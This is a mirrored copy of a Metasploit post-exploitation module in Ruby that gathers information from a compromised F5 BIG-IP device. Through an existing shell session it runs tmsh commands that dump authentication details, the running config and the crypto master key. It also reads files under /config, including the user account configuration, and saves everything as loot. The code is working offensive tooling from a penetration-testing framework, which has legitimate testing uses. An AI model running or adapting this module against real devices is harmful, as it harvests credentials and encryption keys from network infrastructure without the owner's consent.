CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/networking/gather/enum_f5.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::F5
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'F5 Gather Device General Information',
14
'Description' => %q{
15
This module collects a F5's device information and configuration.
16
},
17
'License' => MSF_LICENSE,
18
'Author' => [ 'h00die'],
19
'SessionTypes' => [ 'shell' ],
20
'Notes' => {
21
'Stability' => [CRASH_SAFE],
22
'SideEffects' => [IOC_IN_LOGS],
23
'Reliability' => []
24
}
25
)
26
)
27
end
28
29
def run
30
# Get device prompt
31
prompt = session.shell_command('?')
32
started_tmos = false
33
unless prompt.include? 'Commands:'
34
started_tmos = true
35
print_status('Moving to TMOS prompt')
36
session.shell_command('tmsh')
37
end
38
prompt = session.shell_command('')
39
40
# Get version info
41
system_out = session.shell_command('show /sys version')
42
# https://support.f5.com/csp/article/K8759
43
ver_loc = store_loot('f5.version',
44
'text/plain',
45
session,
46
system_out.strip,
47
'config.txt',
48
'F5 Version')
49
vprint_good("Config information stored in to loot #{ver_loc}")
50
if /^Main Package(?<content>.+)\n\n/m =~ system_out # just capture the content to parse
51
ver = []
52
if /^\s+Product\s+(?<product>[\w-]+)$/ =~ content
53
ver << product
54
end
55
if /^\s+Version\s+(?<version>[\d.]+)$/ =~ content
56
ver << version
57
end
58
if /^\s+Build\s+(?<build>[\d.]+)$/ =~ content
59
ver << build
60
end
61
print_good("Version: #{ver.join(' ')}") unless ver.empty?
62
else
63
print_bad('Unable to obtain system version information')
64
end
65
# run additional information gathering
66
67
enum_tmos_configs(prompt)
68
if started_tmos
69
session.shell_command('quit') # exit tmos
70
else
71
session.shell_command('bash') # go to bash from tmos
72
end
73
enum_configs(prompt)
74
end
75
76
def enum_tmos_configs(prompt)
77
host = session.session_host
78
port = session.session_port
79
exec_commands = [
80
{
81
'cmd' => 'show sys',
82
'fn' => 'show_sys',
83
'desc' => 'Get Device System Information on F5 Device'
84
},
85
{
86
'cmd' => 'show auth',
87
'fn' => 'show_auth',
88
'desc' => 'Get User Account and Authentication Information on F5 Device'
89
},
90
{
91
'cmd' => 'show cm',
92
'fn' => 'show_cm',
93
'desc' => 'Get Configuration Management Information on F5 Device'
94
},
95
{
96
'cmd' => 'show net',
97
'fn' => 'show_net',
98
'desc' => 'Get Network Information on F5 Device'
99
},
100
{
101
'cmd' => 'show running-config',
102
'fn' => 'show_running_config',
103
'desc' => 'Get Running Config on F5 Device'
104
},
105
{
106
'cmd' => 'show sys crypto master-key',
107
'fn' => 'show_crypto_key',
108
'desc' => 'Get Crypto Master Key on F5 Device'
109
},
110
]
111
exec_commands.each do |ec|
112
command = ec['cmd']
113
cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '')
114
if cmd_out.include?('Display all')
115
cmd_out += session.shell_command('y')
116
end
117
if cmd_out.include?('---(less')
118
cmd_out += session.shell_command(" \n" * 20) # 20 pages should be enough
119
end
120
121
# loop to ensure we get all content within the 5 sec window
122
# rubocop:disable Lint/AssignmentInCondition
123
loop do
124
break unless out_tmp = session.shell_read
125
126
cmd_out << out_tmp
127
end
128
# rubocop:enable Lint/AssignmentInCondition
129
130
print_status("Gathering info from #{command}")
131
cmd_loc = store_loot("F5.#{ec['fn']}",
132
'text/plain',
133
session,
134
cmd_out.strip,
135
"#{ec['fn']}.txt",
136
ec['desc'])
137
vprint_good("Saving to #{cmd_loc}")
138
f5_config_eater(host, port, cmd_out.strip, false)
139
end
140
end
141
142
def enum_configs(prompt)
143
host = session.session_host
144
port = session.session_port
145
# https://support.f5.com/csp/article/K26582310
146
exec_commands = [
147
{
148
# High-level traffic management and system configuration, such as virtual servers,
149
# profiles, access policies, iRules, and authentication settings
150
'cmd' => 'cat /config/bigip.conf',
151
'fn' => 'bigip.conf',
152
'desc' => 'Get Config on F5 Device'
153
},
154
{
155
# Base-level network and system configuration, such as VLANs, self IPs,
156
# device service clustering (DSC), and provisioning
157
'cmd' => 'cat /config/bigip_base.conf',
158
'fn' => 'bigip_base.conf',
159
'desc' => 'Get Base Config on F5 Device'
160
},
161
{
162
# BIG-IP GTM/DNS-specific configuration such as Wide IPs, pools, data centers,
163
# and servers
164
'cmd' => 'cat /config/bigip_gtm.conf',
165
'fn' => 'bigip_gtm.conf',
166
'desc' => 'Get GTM Config on F5 Device'
167
},
168
{
169
# Custom iApps templates
170
'cmd' => 'cat /config/bigip_script.conf',
171
'fn' => 'bigip_script.conf',
172
'desc' => 'Get iApps templates on F5 Device'
173
},
174
{
175
# User account configuration
176
'cmd' => 'cat /config/bigip_user.conf',
177
'fn' => 'bigip_user.conf',
178
'desc' => 'Get User Config on F5 Device'
179
},
180
{
181
# Custom BIG-IP system alerts
182
'cmd' => 'cat /config/user_alert.conf',
183
'fn' => 'user_alert.conf',
184
'desc' => 'Get System Alerts on F5 Device'
185
},
186
]
187
exec_commands.each do |ec|
188
command = ec['cmd']
189
cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '')
190
print_status("Gathering info from #{command}")
191
if cmd_out.include?('No such file or directory') || cmd_out.strip == ''
192
print_error('File not found or empty')
193
next
194
end
195
cmd_loc = store_loot("F5.#{ec['fn']}",
196
'text/plain',
197
session,
198
cmd_out.strip,
199
"#{ec['fn']}.txt",
200
ec['desc'])
201
vprint_good("Saving to #{cmd_loc}")
202
f5_config_eater(host, port, cmd_out.strip, false)
203
end
204
end
205
end
206
207